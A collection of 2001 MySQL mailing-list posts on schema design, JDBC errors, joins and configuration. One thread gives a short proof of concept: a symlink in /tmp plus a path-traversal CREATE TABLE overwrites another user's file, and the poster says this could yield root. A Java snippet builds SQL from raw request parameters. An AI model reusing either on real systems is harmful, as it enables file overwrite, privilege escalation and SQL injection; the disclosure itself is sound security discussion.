DB Schema display?
Does anyone have any recommendations on a tool that can produce a graphical representation of a database stored within MySQL? (i.e., if pointed at a database, will produce a graphical representation of each table contained therein, including links to foreign keys, etc...) I've looked at a couple of these like DbVisualizer, but they don't really produce anything that lists the interelationships between all of tables in the db, but rather just allow an easier way of browsing the contents of individual tables. Thanks in advance for any suggestions. -- Steve Reppucci [EMAIL PROTECTED] | Topical Net, Inc.(781) 932-8400 x117 | =-=-=-=-=-=-=-=-=-=- My God! What have I done? -=-=-=-=-=-=-=-=-=-= - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: SQLException caught : Before start of result set ?
Alec,
Thanks for the info, however I'm struggling to understand how it applies to
my case. Following is the piece of code in question, and the error is due to
the SELECT following the INSERT (insert works fine; LIGHTBOX_ID is on
AUTO_INCREMENT) :
// add a LIGHTBOX row ...
rs = stmt.executeQuery("INSERT INTO LIGHTBOX (CLIENT_ID,
LIGHTBOX_ID, NAME, TS, IMAGE_COUNT) VALUES ('" + (String)
session.getValue("clientID") + "', 0, '" +
req.getParameter("lb_name").trim() + "', NULL, '" +
sessionLightbox.getNumOfImages() + "')");
// get the LIGHTBOX_ID value just assigned ...
rs = stmt.executeQuery("SELECT LAST_INSERT_ID() AS ID");
int iNextId = rs.getInt("ID");
Basically I'm not traversing any returned sets here, just inserted a row,
determining an allocated ID and would be (!) carrying on inserting into
another table.
Is there a 'de-facto' reference JDBC driver I should try / use ?
Any info you may have would be good news !
Regards,
David
In JDBC2.0, you can move the invisible pointer witing your ResultSet
backwards and forward, or to absolute row numbers. You can therefore move
the pointer completely out of the table - fro wxample, by calling
ResultSet.beforeFirst(). If you then attempt to access the "current" row,
you will get this error.
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: ADVICE: Best way to store multi values
Assuming you have table staff with an id and name, and title with id and title, You create a join table. Staff_id Title_id 1 1 1 2 2 1 2 3 Then: Select name,title FROM staff s , title t, jointable j WHERE s.id=j.staff_id AND j.title_id=t.id; Mark Worsdall wrote: Hi, I have a table called staff which currently has a column called subjectTitles_id which is the type INTEGER. I have another table called subjectTitles which contains 12 subject titles. So that is how a member of staff is assigned a subject. Trouble is I need to be able to assign a multiple number of subjects to anyone member of staff. The method I thought to use was change staff.subjectTitles_id from INTEGER type to CHAR type and store a string of CSV numbers which correspond to the id's of the table subjectTitles, e.g.:- 1;2;7;10 Is this the way? It seems quite ungraceful. M. -- - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
how do I unsubscribe to this list?
Please address answer to [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: ADVICE: Best way to store multi values
you need a join table between the two tables. It would contain the primary keys of both tables. This way for any given staffID, you could have 0-n records that contain staffId subjectTitles_id. To get all the subjectTitles for a given staff you would Select * from staff_subjectTitles where staffId = thePersonToLookFor; you can use where clauses to join in the Staff and SubjectTitles tables to that select as well to gather them all into one select. Cal http://www.calevans.com -Original Message- From: Mark Worsdall [mailto:[EMAIL PROTECTED]] Sent: Tuesday, March 20, 2001 2:22 PM To: [EMAIL PROTECTED] Subject: ADVICE: Best way to store multi values Hi, I have a table called staff which currently has a column called subjectTitles_id which is the type INTEGER. I have another table called subjectTitles which contains 12 subject titles. So that is how a member of staff is assigned a subject. Trouble is I need to be able to assign a multiple number of subjects to anyone member of staff. The method I thought to use was change staff.subjectTitles_id from INTEGER type to CHAR type and store a string of CSV numbers which correspond to the id's of the table subjectTitles, e.g.:- 1;2;7;10 Is this the way? It seems quite ungraceful. M. -- He came from Econet - Oh no, I've run out of underpants :( Home:- [EMAIL PROTECTED] http://www.wizdom.org.uk Shadow:- [EMAIL PROTECTED] http://www.shadow.org.uk Work:- [EMAIL PROTECTED] http://www.hinwick.demon.co.uk - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
migrating from mysql to mssql7
I am attempting to migrate data from a mysql database to a mssql7 database. There seem to be some differences between the two. Can anyone help me in determining what needs to be changed in my sql script (mysqldump) to allow me to recreate my schema in mssql7. Or, can someone steer me to a good resource for this. Thank you, Kevin Morris [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Small select question... (getting bigger!)
I wondered the same thing (I didnt write the original query). But using 'or' will not select rows with null values as using the outer join (+) in oracle does. Hence, incorrect rows. Heres the original Oracle query: select distinct subsnp_pk, chrom, chrompos, locus, locusid, source, sourceid, a1freq, status, sampleid from subsnp, chromosome_position c, assay_validation, locus_annotation l, sample_info where subsnp_pk = c.snp_fk (+) and subsnp_pk = l.snp_fk (+) and sourceid = assayid (+) and sample_fk = sample_pk (+) and source = '10Q' order by subsnp_pk; First, I didn't write this. Second, it seems like madness to me. Oracle can somehow manage it on NT (probably due to the robust memory of the machine it was on) but it blows up MySQL on a machine with 256mb ram. No supprise with that many joins. I need to find a way to cleanly, efficiently and beautifully duplicate port this query to mysql, and would appreciate any thoughts or insights on how to do this. Thanks! -Original Message- From: Geoff Coffey [mailto:[EMAIL PROTECTED]] Sent: Tuesday, March 20, 2001 12:52 PM To: Bryan Coon; 'Jason Landry'; [EMAIL PROTECTED] Subject: Re: Small select question... on 3/20/01 1:20 PM, Bryan Coon at [EMAIL PROTECTED] wrote: Sorry for the ambiguity, I was trying to make a really generic select statement. I just meant that if 'where a = A.a' has no matches, but 'where b = B.b' or 'where c = C.c' does match, the query returns what did match, and just returns null where it didnt. I will look at the CASE WHEN...THEN. How is this not just: ... Where a = A.a or b = B.b or c=C.c ... Thanks, Geoff - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Query Question
I have a query question I can't figure out on my own. Any help is appreciated... I have three tables: create table courses ( rec_num int(5) not null default '0' auto_increment, name varchar(255), description varchar(255), class_time varchar(255), professor_id int(5), units float(4,2), location varchar(255), quarter varchar(255), department_id int (5), primary key (rec_num) ); create table enroll_course ( rec_num int(5) not null default '0' auto_increment, course_id int(5), student_id int(5), grade varchar(10), primary key(rec_num) ); create table course_prereq ( rec_num int(5) not null default '0' auto_increment, source_course_id int(5), pre_req_course_id int(5), primary key (rec_num) ); Basically I want a query that looks at courses, sees if there are any pre-reqs, if so, checks enroll_course to see if they've been met, and if not, return a list of the courses that have not been met. Is this even possible with one query? Hunter - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
regarding mysql
mysql client is not running. and there is a problem in database connectivity too. it says acess denied using Password="YES".This was the error when mysql was running.It's on Apache Web Server. Please suggest me what changes are to be made in the configuration and reflect on the point about passwords to be used while starting mysql. Thanks in advance. REENA PATHAK - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
members list categories inserting db into webpage
First of all, since you are not a programmer, it is going to be difficut. I have done something similar but for a travels site using php and mysql. I suggest you send me a private mail I will help you if I can Adrian I've got mysql and php installed on my server and i was wondering if anyone could give me some feedback/pointers on setting up a membership list for a local chamber of commerce. I've been able to set up the initial table (calling chamber.txt for the info, converted from a word.doc) but i need to break out business categories into linkable lists (hotels, restaurants, retail, etc.) and sort them alphabetically. I've been reading all kinds of reference material but not being a programmer it's alittle over my head... is there a simple way to call the chamber.db so it displays information in a web page? I already have categories broken out into a dropdown list (javascript i can figure out) that is presently calling static html pages, but i'm getting tired of having to add 2-3 businesses a week since i'm not getting paid for the site and i can give the director access to the chamber.txt file via ftp so she can do it. Any help would be really appreciated!!! Let me know if - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
ADVICE: Best way to store multi values
Hi, I have a table called staff which currently has a column called subjectTitles_id which is the type INTEGER. I have another table called subjectTitles which contains 12 subject titles. So that is how a member of staff is assigned a subject. Trouble is I need to be able to assign a multiple number of subjects to anyone member of staff. The method I thought to use was change staff.subjectTitles_id from INTEGER type to CHAR type and store a string of CSV numbers which correspond to the id's of the table subjectTitles, e.g.:- 1;2;7;10 Is this the way? It seems quite ungraceful. M. -- He came from Econet - Oh no, I've run out of underpants :( Home:- [EMAIL PROTECTED] http://www.wizdom.org.uk Shadow:- [EMAIL PROTECTED] http://www.shadow.org.uk Work:- [EMAIL PROTECTED] http://www.hinwick.demon.co.uk - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Small select question...
on 3/20/01 1:20 PM, Bryan Coon at [EMAIL PROTECTED] wrote: Sorry for the ambiguity, I was trying to make a really generic select statement. I just meant that if 'where a = A.a' has no matches, but 'where b = B.b' or 'where c = C.c' does match, the query returns what did match, and just returns null where it didnt. I will look at the CASE WHEN...THEN. How is this not just: ... Where a = A.a or b = B.b or c=C.c ... Thanks, Geoff - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Please Help - Empty Entries
I went into my database today and noticed that there was 102,000 entries. Somehow a whole pile of crap was added to the end of the database. I think it can easily be fixed but am not sure. Is there a way that I can eliminate all entries with a field that is blank? ie: if the table products is blank in the name field delete it? Is this possible? - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
non-standard socket - fixed
Well as soon as I sent that previous message, I figured out how to accomplish what I needed. Thanks anyways. Jeff Jones - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
problems with mysqlGUI
Dear MySQL Sirs, I have been trying to compile and build the GUI for MySQL (in Linux) and apparently the last stage of the installation has been given me a very hard time...I have followed the instructions from the website and the last error ocurred when I tried to run "make" within /mysqlgui-1.7.4. This is the output the I got after some others: - [mysqladm@lightning mysqlgui-1.7.4]# make g++ -o mysqlgui about.o db_tree.o Fl_NSlider.o getvars.o qsort.o queries.o bebac.o main.o do_sql.o tables.o dodatni.o status.o process.o grant.o password.o get_table.o admin.o single.o zoom.o sin_jpeg.o jmemsrc.o options.o Fl_File_Dialog.o Fl_Dir.o Fl_Input_File.o Fl_Tree.o Fl_ToggleTree.o Fl_ToggleNode.o Animated_Icon.o Fl_Help.o Fl_Envelope.o Fl_Envelope_Scroll.o Selection.o gif.o -L. -L/usr/X11R6/lib -lfleditor -lsqlplus -L/usr/local/lib -L/usr/local/mysql/lib/mysql -lmysqlclient -lm -lflvw -lfltk -lXext -ljpeg /usr/lib/libz.a /usr/bin/ld: cannot find -lsqlplus collect2: ld returned 1 exit status make: *** [mysqlgui] Error 1 - Where should the library "sqlplus" be located? Why this library is not created by mysql++? In my case I have the include files of MySQL in: /usr/local/mysql/include/mysql and the libraries of MySQL in: /usr/local/mysql/lib/mysql Here I show the list of file in /usr/local/mysql/lib and in /usr/local/mysql/lib/mysql respectively: - [guarisma@lightning ~]$ ls -l /usr/local/mysql/lib total 8532 -rw-r--r--1 root root 5531118 Mar 20 14:47 libsqlplus.a -rwxr-xr-x1 root root 713 Mar 20 14:47 libsqlplus.la lrwxrwxrwx1 root root 19 Mar 20 14:47 libsqlplus.so - libsqlplus.so.1.0.7 lrwxrwxrwx1 root root 19 Mar 20 14:47 libsqlplus.so.1 - libsqlplus.so.1.0.7 -rwxr-xr-x1 root root 3176781 Mar 20 14:47 libsqlplus.so.1.0.7 drwxrwxr-x2 mysqladm mysqlgrp 4096 Feb 16 12:19 mysql [guarisma@lightning ~]$ ls -l /usr/local/mysql/lib/mysql total 968 -rw-r--r--1 mysqladm mysqlgrp11086 Feb 16 12:19 libdbug.a -rw-r--r--1 mysqladm mysqlgrp34650 Feb 16 12:19 libheap.a -rw-r--r--1 mysqladm mysqlgrp15284 Feb 16 12:19 libmerge.a -rw-r--r--1 mysqladm mysqlgrp 230612 Feb 16 12:19 libmyisam.a -rw-r--r--1 mysqladm mysqlgrp23678 Feb 16 12:19 libmyisammrg.a -rw-r--r--1 mysqladm mysqlgrp 178152 Feb 16 12:19 libmysqlclient.a -rwxr-xr-x1 mysqladm mysqlgrp 721 Feb 16 12:19 libmysqlclient.la lrwxrwxrwx1 mysqladm mysqlgrp 24 Feb 16 12:19 libmysqlclient.so - libmysqlclient.so.10.0.0lrwxrwxrwx1 mysqladm mysqlgrp 24 Feb 16 12:19 libmysqlclient.so.10 - libmysqlclient.so.10.0.0 -rwxr-xr-x1 mysqladm mysqlgrp 131813 Feb 16 12:19 libmysqlclient.so.10.0.0 -rw-r--r--1 mysqladm mysqlgrp32152 Feb 16 12:19 libmystrings.a -rw-r--r--1 mysqladm mysqlgrp 190354 Feb 16 12:19 libmysys.a -rw-r--r--1 mysqladm mysqlgrp 100492 Feb 16 12:19 libnisam.a - I would really appreciate any help regarding this matter, thanks in advance Alonso Guarisma - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
searching tables.
Hi Everyone, This question may have been asked before, but i could not find it in the archives, so i was wondering if someone could help me out. Say i had the following table: +++-+ | id | address| domainalias | +++-+ | 2 | [EMAIL PROTECTED] | fred| | 3 | [EMAIL PROTECTED] | bill| +++-+ Now say i had over 200 entrys in that table, but all i wanted to see was just "[EMAIL PROTECTED]" but i did not know what "id" it was, is there a way i can "search" the table, and only show the relevent information that i need? Thanks in Advanced. John Nielsen. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: update
Hi. On Mon, Mar 19, 2001 at 04:19:32PM +0800, [EMAIL PROTECTED] wrote: I want to use mysql_affected_rows to determine whether the sql statement is executed or not found. If mysql_affected_rows return 0,I take it as not found. But If I update a value to the value it already was, (It means if some value is 'test', and in my sql statement I update this value to 'test') mysql_affected_rows also return 0, so I take it as not_found,but it is not I want. How should I do? This behaviour is the expected, documented one and even the special case you want is documented. There is a config variable to change the default behaviour. Have a look at the manual. Don't know the section from head, but shouldn't be hard to find. Bye, Benjamin. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Do outer joins not work in MySQL?
Hi. On Mon, Mar 19, 2001 at 02:40:43PM -0500, [EMAIL PROTECTED] wrote: Hi all, I'm new to MySQL and am puzzled by a curious problem. This join syntax has always worked fine for me on SQLServer but it seems to work like an inner join on MySQL: SELECT d.doccat_ID, d.doccatname FROM doccats d LEFT OUTER JOIN doccat_group dg ON d.doccat_ID = dg.doccat_ID WHERE dg.group_ID = (SomeValue) ORDER BY doccatname I've checked the documentation and cannot seem to find anything wrong with my syntax. Any thoughts? The syntax is right for an outer join. How about posting an example, too? :-) Bye, Benjamin. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
MYSQLGUI problem - won't connect
I just downloaded the latest version on MySQL as well as the MYSQLGUI program. I have MySQL installed and I can access it from the mysql command line but I just can't get MYSQLGUI to connect. It keeps giving me - Can't connect to local MySQL server through socket " (111) - Can you tell me where I am going wrong. I get the same error with both the static and semi-static versions for Linux. Thanks, David - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Serious LEFT JOIN bug in 3.23
Hi. On Mon, Mar 19, 2001 at 09:06:49PM -0700, [EMAIL PROTECTED] wrote: hist.id will never be NULL and 5 at the same time. Your clauses conflict with each other. You need to re-write your query. This is ture, except the query suceeds if there is records in 'hist' Even if it is not a bug it is at least inconsistent behaviour of MySQL No, it is well possible that EXPLAIN fails and SELECT succeeds. EXPLAIN fails because it cannot tell you how it would optimize the query, because the query returns in an early stage with an empty result set. Maybe I didn't understand your objection completely. But what I see seems perfectly reasonable to me. Bye, Benjamin. "Michael Griffith" [EMAIL PROTECTED] wrote: EXPLAIN LEFT JOIN fails when joining on an empty table with constant in WHERE clause CREATE TABLE idx ( id mediumint, KEY id (id), ) TYPE=MyISAM CREATE TABLE hist ( id mediumint, link mediumint, KEY id (id,link) ) TYPE=MyISAM Table idx is populated with thousands or records. Consider the following query: 1. SELECT idx.id FROM idx 2. LEFT JOIN hist ON hist.link=idx.id AND hist.id=5 3. WHERE 4. hist.id=5 AND 5. hist.id IS NULL AND 6. idx.id=2 The query works perfectly, buy ONLY if table 'hist' is populated. If table 'hist' is empty then the query returns no results. This is easy to fix by commenting out line #4. However by commenting out line 4 the optimizer decides to use a temporary table which would slow it down. Here is the EXPLAIN output as shown above with empty 'hist' table: "Impossible WHERE noticed after reading const tables" Here is the EXPLAIN output from above query when 'hist' has 1 record: | table | type | possible_keys | key | key_len | ref| rows | Extra +---+--+---+--+-++--+--- --+ | idx | ref | id| id | 3 | const|3 | where used ; Using index (using temp without ln #4) | hist | ref | id| id | 6 | const,idx.id |2 | where used; Using index; Not exists +---+--+---+--+-++--+--- --+ It seems the optimizer is checking the constant in hist before it even considers this is a LEFT JOIN. This is a problem on my Windows MySQL 3.23.33. Based on the EXPLAIN output of a simpler query I do not believe 3.22 does the same thing. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
non-standard socket
I am using mysqld_multi to have several different mysql servers start. I have finally gotten it to work with php when I connect to a non-standard socket, such as /tmp/mysql.sock2. Does anyone know how to connect to a database with perl through that socket? I have tried the following with no luck: my($port) = '/tmp/mysql.sock2'; my($mysql) = "DBI:mysql:webhost:localhost:$port"; $dbh = DBI-connect($mysql, 'user', 'pass'); But it will not establish the connection. Has anyone done this before or is it even possible with the Perl DBI? Thanks for the help. Jeff Jones - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: FW: potential vulnerability of mysqld running with root privileges
Hi. On Tue, Mar 20, 2001 at 12:22:19PM +0100, [EMAIL PROTECTED] wrote: Hi! On Mar 20, Basil Hussain wrote: Hi all, The original message below was posted to the BugTraq mailing list. Have the developers seen this? I know it talks about version mysql-3.20.32a (which is ancient), but he mentions that it affects other versions. Anyway, I don't run my MySQL server as root, so I'm not worried. :) You shouldn't. MySQL-3.23 is not vulnerable. How did you determine that? Sorry to contradict, but have a look: newton:~ mysql -u root -e "select version()" +---+ | version() | +---+ | 3.23.33 | +---+ 8:26:25 newton:~ sudo -u mysql touch /tmp/test # just created a file owned by mysql-user 8:26:45 newton:~ ln -sf /tmp/test /tmp/yikes.MYI 8:26:54 newton:~ ls -l /tmp [...] -rw-r--r--1 mysqlmysql 0 Mar 21 08:26 test lrwxrwxrwx1 philemon philemon9 Mar 21 08:28 yikes.MYI - /tmp/test 8:26:57 newton:~ mysql ../../../../tmp -e "create table yikes(w int(4))" 8:27:02 newton:~ ls -l /tmp [...] -rw-r--r--1 mysqlmysql1024 Mar 21 08:28 test -rw-rw1 mysqlmysql 0 Mar 21 08:28 yikes.MYD lrwxrwxrwx1 philemon philemon9 Mar 21 08:28 yikes.MYI - /tmp/test -rw-rw1 mysqlmysql8548 Mar 21 08:28 yikes.frm So, I have just overwritten a file not owned by me, namely /tmp/test. If mysql was running as root (which is of couse deprecated), I could overwrite any file in the system this way and even gain root access (as shown by someone on bugtraq), I think. Did I overlook something? So, it looks to me, that at least 3.23.33 is not secure in this way (I have not compared 3.23.34 resp. 3.23.35 because for both problems were reported preventing them from use in production systems). Even without MySQL running as root, I can do a lot of harm (with privilege to create tables, I can probably gain MySQL root privileges, delete any other table, delete configs and log files and so on). Bye, Benjamin. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Serious LEFT JOIN bug in 3.23
The query returns 2 different result sets depending on whether the table on the right side of a LEFT JOIN has records or not. I just don't see how this is acceptable behavior. Either it should always return the result set or it should always return the empty set. The size of the right table should not affect the size or the result in a LEFT JOIN Hi. On Mon, Mar 19, 2001 at 09:06:49PM -0700, [EMAIL PROTECTED] wrote: hist.id will never be NULL and 5 at the same time. Your clauses conflict with each other. You need to re-write your query. This is ture, except the query suceeds if there is records in 'hist' Even if it is not a bug it is at least inconsistent behaviour of MySQL No, it is well possible that EXPLAIN fails and SELECT succeeds. EXPLAIN fails because it cannot tell you how it would optimize the query, because the query returns in an early stage with an empty result set. Maybe I didn't understand your objection completely. But what I see seems perfectly reasonable to me. Bye, Benjamin. "Michael Griffith" [EMAIL PROTECTED] wrote: EXPLAIN LEFT JOIN fails when joining on an empty table with constant in WHERE clause CREATE TABLE idx ( id mediumint, KEY id (id), ) TYPE=MyISAM CREATE TABLE hist ( id mediumint, link mediumint, KEY id (id,link) ) TYPE=MyISAM Table idx is populated with thousands or records. Consider the following query: 1. SELECT idx.id FROM idx 2. LEFT JOIN hist ON hist.link=idx.id AND hist.id=5 3. WHERE 4. hist.id=5 AND 5. hist.id IS NULL AND 6. idx.id=2 The query works perfectly, buy ONLY if table 'hist' is populated. If table 'hist' is empty then the query returns no results. This is easy to fix by commenting out line #4. However by commenting out line 4 the optimizer decides to use a temporary table which would slow it down. Here is the EXPLAIN output as shown above with empty 'hist' table: "Impossible WHERE noticed after reading const tables" Here is the EXPLAIN output from above query when 'hist' has 1 record: | table | type | possible_keys | key | key_len | ref| rows | Extra +---+--+---+--+-++--+--- --+ | idx | ref | id| id | 3 | const|3 | where used ; Using index (using temp without ln #4) | hist | ref | id| id | 6 | const,idx.id |2 | where used; Using index; Not exists +---+--+---+--+-++--+--- --+ It seems the optimizer is checking the constant in hist before it even considers this is a LEFT JOIN. This is a problem on my Windows MySQL 3.23.33. Based on the EXPLAIN output of a simpler query I do not believe 3.22 does the same thing. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: speed problems
Hi. Disk speed and memory is more relevant than CPU speed most times, so you should include that info in your comparison. And how big is your table in bytes (not rows). I would start with comparing the output of mysqladmin variables of all installation. Maybe some simply have a bigger key buffer or something like this. Next, compare the output of EXPLAIN for all machines. In any case, it should be the same for the same MySQL versions. If it differs for any of the test cases, this could cause the speed difference. Bye, Benjamin. On Tue, Mar 20, 2001 at 07:04:09PM +0200, [EMAIL PROTECTED] wrote: Hello, I encountered following problem: when using older mysql (3.22.23 vs 3.23.33) then older is about 4-6 times faster on the same machine. What could be the problem? Sytem is Debian 2.2r2, older mysql was from .deb but newer i built myself. The query looks like this: SELECT f.foto_id, f.imgname, f.path FROM foto f, indeks k1, indeks k2 WHERE f.foto_id = k1.foto_id AND k1.word = 'mati' AND f.foto_id = k2.foto_id AND k2.word = 'kose' GROUP BY f.foto_id; Where foto has ~8000 rows and indeks has ~15 rows (words) and result has 1266 rows. Here are some testing results on different machines and op. systems: 3.22.32- 3 sec (Debian, PIII 600) 3.22.32- 6 sec (Debian, Cel 333A) 3.23.32- 24 sec (RH7, Dual PIII 500) 3.23.33- 36 sec (Debian, Cel 333A) 3.23.29a-gamma - 71 sec (FreeBSD, PIII 550) 3.23.29a-gamma - 90 sec (FreeBSD, Cel 333A) And what is most amazing... It's SOO slow on BSD. I wonder why? Or are there any ways to make this query faster? Sometimes there will be even 3 or more words (here only 'mati' and 'kose'). - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
core dumps
I'm trying to diagnose a segmentation fault we're getting in mysql so I can send a slightly decent bug report about it, and would like to get a core dump. I CANNOT get it to dump core. I'm using the --core-file option. I've made sure my ulimit to coredump size is set big enough. It just won't do it. It's a 3.23.35 database (also testing 3.23.32 which exhibits the same problem). Anyone help? I'll be posting more details regarding the actual problem soonish once I reckon I know what it is. (It seems to be some sort of non thread safe business in the code that handles connections that can happen when you get a lot of simultaneous connections at around the same time) -- Voytek Lapinski [EMAIL PROTECTED] Software Engineer Hotkey Internet ph: 03 9923 3656 mob: 0427 469 891 fax: 03 9923 3388 www.hotkey.net.au - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
jpegs in a database
Hello, Still trying to get jpegs into my database. I have a blob column setup, How do I get the jpeg into the blob column? Thanks for the help Mike
Re: INET_ATON
It would be my guess that you're trying to store inet_aton()'s value
into a signed integer column, which is in the range of roughly -2G - 2G-1,
while inet_aton()'s result is unsigned, in the range 0 - 4G-1. Whenever
inet_aton() happens to return a value 2G-1, MySQL truncates it and stores
into your table the largest value possible for the column type you specified.
ALTER TABLE sequoia MODIFY ip INTEGER UNSIGNED whatever else you want;
G'luck,
Peter
--
What would this sentence be like if pi were 3?
On Tue, Mar 20, 2001 at 02:09:48PM -0800, Jason Bell wrote:
ok... this is stumping me perhaps I'm doing something wring, but It
doesn't appear that I am
Am I doing, or not doing something that makes the INET_ATON function
default to 127.255.255.255 ? why does it work for 24.18.10.5, but not
192.168.50.5 when inserting into a table?
mysql SELECT INET_ATON("24.18.10.5");
+-+
| INET_ATON("24.18.10.5") |
+-+
| 403835397 |
+-+
1 row in set (0.01 sec)
mysql SELECT INET_ATON("192.168.50.5");
+---+
| INET_ATON("192.168.50.5") |
+---+
|3232248325 |
+---+
1 row in set (0.01 sec)
mysql insert into sequoia VALUES ( INET_ATON("24.18.10.5"), 'TestHost',
'This is a test', 'Test' );
Query OK, 1 row affected (0.03 sec)
mysql insert into sequoia VALUES ( INET_ATON("192.168.50.5"),
'TestHost2', 'This is a test', 'Test' );
Query OK, 1 row affected (0.01 sec)
mysql select * from sequoia;
++---++--+
| ip | hostname | comment| customer |
++---++--+
